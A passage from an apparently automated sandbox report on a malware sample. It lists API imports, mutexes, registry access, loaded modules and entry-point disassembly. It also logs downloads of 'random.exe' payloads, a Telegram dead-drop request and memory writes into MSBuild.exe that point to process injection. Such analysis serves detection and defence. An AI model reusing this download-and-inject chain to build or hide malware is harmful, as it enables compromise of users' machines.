00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLCID"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "IsValidLocale"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp")2e:T7a2,Process bounty-38813904328784694.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process bounty-38813904328784694.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6528:64:WilError_01" Process bounty-38813904328784694.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:6528:168:WilStaging_02" Process bounty-38813904328784694.exe created mutex with name "Local\SM0:6528:168:WilStaging_02" Process bounty-38813904328784694.exe created mutex with name "Local\SM0:6528:64:WilError_01" Process bounty-38813904328784694.exe created mutex with name "SM0:6528:64:WilError_01" Process bounty-38813904328784694.exe created mutex with name "Local\ZonesCacheCounterMutex" Process bounty-38813904328784694.exe created mutex with name "006700e5a2ab05704bbb0c589b88924d" Process bounty-38813904328784694.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process bounty-38813904328784694.exe created mutex with name "\Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d" Process bounty-38813904328784694.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:6528:64:WilError_01" Process bounty-38813904328784694.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process bounty-38813904328784694.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process cde4308e66.exe created mutex with name "\Sessions\1\BaseNamedObjects\DBWinMutex" Process cde4308e66.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5828:168:WilStaging_02" Process cde4308e66.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5828:168:WilStaging_02" Process cde4308e66.exe created mutex with name "SM0:5828:168:WilStaging_02" Process cde4308e66.exe created mutex with name "DBWinMutex" Process cde4308e66.exe created mutex with name "Local\SM0:5828:168:WilStaging_02"2f:T6e4,"Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006528.00000000.285422.00CC0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006528.00000000.285422.00CC0000.00000004.mdmp ".0\\REGISTRY\MACHINE\SOFTWARE\Classes\W:" in Source: 00000000-00006528.00000001.287341.00CC0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006528.00000001.287341.00CC0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006528.00000001.287341.00CC0000.00000004.mdmp "istry\Machine\Software\Classes\Applications\%1.exe" in Source: 00000000-00006528.00000001.287341.00CC0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006528.00000001.287341.00CC0000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00006528.00000001.287341.0115F000.00000002.mdmp ".0\\REGISTRY\MACHINE\SOFTWARE\Classes\W:" in Source: 00000000-00006528.00000002.289264.00CC0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006528.00000002.289264.00CC0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00006528.00000002.289264.00D12000.00000004.mdmp "istry\Machine\Software\Classes\Applications\%1.exe" in Source: 00000000-00006528.00000002.289264.00D36000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00006528.00000002.289264.00D51000.00000004.mdmp30:T683,"GET /files/rdx/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:34 GMT Content-Type: application/octet-stream Content-Length: 2014208 Last-Modified: Tue 09 Sep 2025 10:29:18 GMT Connection: keep-alive ETag: "68c0017e-1ebc00" Accept-Ranges: bytes with response body ==>34643A35613A37383A30303A30313A30303A30303A30303A30343A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30....... "GET /files/fate/random.exe HTTP/1.1" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu 11 Sep 2025 23:12:38 GMT Content-Type: application/octet-stream Content-Length: 1082880 Last-Modified: Thu 11 Sep 2025 20:42:00 GMT Connection: keep-alive ETag: "68c33418-108600" Accept-Ranges: bytes with response body ==>34643A35613A37383A30303A30313A30303A30303A30303A30343A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30303A30....... "GET /romalabs4 HTTP/1.1 Connection: Keep-Alive Host: t.me" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu 11 Sep 2025 23:12:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12328 Connection: keep-alive Set-Cookie: stel_ssid=b8aae4e5bb05525784_4898827027423742832; expires=Fri 12 Sep 2025 23:12:43 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000 with response body ==>33633A32313A34343A34663A34333A35343A35393A35303A34353A32303A36383A37343A36643A36633A33653A30613A33633A36383A37343A36643A36633A33.......31:T115e,"bounty-38813904328784694.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 744d0000 "bounty-38813904328784694.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 744d0000 "bounty-38813904328784694.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 744d0000 "bounty-38813904328784694.exe" loaded module "KERNEL32" at base 776c0000 "bounty-38813904328784694.exe" loaded module "RPCRT4.DLL" at base 75500000 "bounty-38813904328784694.exe" loaded module "SSPICLI.DLL" at base 741b0000 "bounty-38813904328784694.exe" loaded module "KERNEL32.DLL" at base 776c0000 "bounty-38813904328784694.exe" loaded module "USER32.DLL" at base 74ba0000 "bounty-38813904328784694.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 72a40000 "bounty-38813904328784694.exe" loaded module "WINHTTP.DLL" at base 72990000 "bounty-38813904328784694.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 72a40000 "bounty-38813904328784694.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 72eb0000 "bounty-38813904328784694.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 776c0000 "bounty-38813904328784694.exe" loaded module "MSISO.DLL" at base 72920000 "bounty-38813904328784694.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 77220000 "bounty-38813904328784694.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73c60000 "bounty-38813904328784694.exe" loaded module "NTDLL.DLL" at base 77790000 "bounty-38813904328784694.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73700000 "bounty-38813904328784694.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76bb0000 "bounty-38813904328784694.exe" loaded module "SHELL32.DLL" at base 757e0000 "bounty-38813904328784694.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 727f0000 "bounty-38813904328784694.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 757e0000 "bounty-38813904328784694.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 73aa0000 "bounty-38813904328784694.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 744d0000 "bounty-38813904328784694.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74100000 "cde4308e66.exe" loaded module "KERNEL32" at base 776c0000 "cde4308e66.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 744d0000 "cde4308e66.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 744d0000 "cde4308e66.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 744d0000 "cde4308e66.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 74d90000 "cde4308e66.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 744d0000 "cde4308e66.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 744d0000 "cde4308e66.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 744d0000 "cde4308e66.exe" loaded module "USER32.DLL" at base 74ba0000 "cde4308e66.exe" loaded module "ADVAPI32.DLL" at base 74f40000 "cde4308e66.exe" loaded module "NTDLL.DLL" at base 77790000 "cde4308e66.exe" loaded module "WINMM.DLL" at base 727c0000 "cde4308e66.exe" loaded module "NTDLL" at base 77790000 "cde4308e66.exe" loaded module "KERNEL32.DLL" at base 776c0000 "cde4308e66.exe" loaded module "SHELL32.DLL" at base 757e0000 "cde4308e66.exe" loaded module "GDI32.DLL" at base 74920000 "cde4308e66.exe" loaded module "OLE32.DLL" at base 74aa0000 "cde4308e66.exe" loaded module "OLEAUT32.DLL" at base 75210000 "cde4308e66.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 776c0000 "adc663ab13.exe" loaded module "KERNEL32" at base 7ffa59d60000 "adc663ab13.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffa580d0000 "adc663ab13.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffa580d0000 "adc663ab13.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffa580d0000 "adc663ab13.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffa599f0000 "adc663ab13.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffa580d0000 "adc663ab13.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffa580d0000 "adc663ab13.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffa580d0000 "adc663ab13.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-2" at base 7ffa580d0000 "adc663ab13.exe" loaded module "NTDLL.DLL" at base 7ffa5b01000032:T7fb,"bounty-38813904328784694.exe" touched "Computer" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32") "bounty-38813904328784694.exe" touched "UsersFiles" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\INPROCSERVER32") "bounty-38813904328784694.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "bounty-38813904328784694.exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") "bounty-38813904328784694.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "bounty-38813904328784694.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "bounty-38813904328784694.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "bounty-38813904328784694.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "bounty-38813904328784694.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\PROGID") "bounty-38813904328784694.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\PROGID") "bounty-38813904328784694.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\PROGID") "bounty-38813904328784694.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\WOW6432NODE\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "bounty-38813904328784694.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32")33:T6ca,"bounty-38813904328784694" file has an entrypoint instructions - "call 0x429412,jmp 0x428c45,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,call 0x4284d0,jmp 0x428dd1,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x463124],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,ret ,push eax," "random_1_.exe" file has an entrypoint instructions - "push edx,mov dword ptr [esp], eax,mov eax, esp,add eax, 4,sub eax, 4,xchg dword ptr [esp], eax,pop esp,mov dword ptr [esp], esi,push ecx,mov ecx, esp,push edi,mov edi, 4,add ecx, edi,pop edi,sub ecx, 4,xchg dword ptr [esp], ecx,pop esp,mov dword ptr [esp], eax,push ebp,mov dword ptr [esp], 0x766234c2,mov dword ptr [esp], eax,mov dword ptr [esp], ebx,call 0x876042,int3 ,push dword ptr [esp],pop eax,push ecx,mov ecx, esp,add ecx, 4,add ecx, 4,xchg dword ptr [esp], ecx,pop esp,sub esp, 4,mov dword ptr [esp], eax," "adc663ab13.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1400783a8,add rsp, 0x28,jmp 0x140078220,int3 ,int3 ,mov qword ptr [rsp + 0x18], rbx,push rbp,mov rbp, rsp,sub rsp, 0x30,mov rax, qword ptr [rip + 0x35f44],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x140078442,lea rcx, [rbp + 0x10],mov qword ptr [rbp + 0x10], 0,call qword ptr [rip + 0x314b3],mov rax, qword ptr [rbp + 0x10],mov qword ptr [rbp - 0x10], rax,call qword ptr [rip + 0x31425],mov eax, eax,xor qword ptr [rbp - 0x10], rax,call qword ptr [rip + 0x31411],"34:T4bc,The input sample is signed with a certificate issued by "CN=localhost" (SHA1: EF:14:49:03:45:81:F9:10:4B:8F:1D:83:DC:45:8A:63:28:72:A8:D9; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: BA:44:79:96:41:99:29:DF:8F:08:73:A9:D4:90:C4:0D:7D:02:8F:9B; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group Inc.", C=US" (SHA1: 34:0B:28:80:F4:46:FC:C0:4E:59:ED:33:F5:2B:3D:08:D6:24:29:64; see report for more information) The input sample is signed with a certificate issued by "OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group Inc.", C=US" (SHA1: 27:96:BA:E6:3F:18:01:E2:77:26:1B:A0:D7:77:70:02:8F:20:EE:E4; see report for more information)35:Ta17,"bounty-38813904328784694.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1536" "BaseAddress": "00ADA1E8" "Buffer": "05B3EDC8" "NumberOfBytesToWrite": "00000004" "$name": "C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\10716570101\\cde4308e66.exe"} "adc663ab13.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "328" "BaseAddress": "00C00000" "Buffer": "000001C509749F30" "NumberOfBytesToWrite": "00000FB8" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe"} "adc663ab13.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "328" "BaseAddress": "00B3E2D8" "Buffer": "00000099766FDC78" "NumberOfBytesToWrite": "00000008" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe"} "adc663ab13.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "328" "BaseAddress": "00B3F1E8" "Buffer": "00000099766FDCB0" "NumberOfBytesToWrite": "00000004" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe"} "adc663ab13.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "328" "BaseAddress": "00400000" "Buffer": 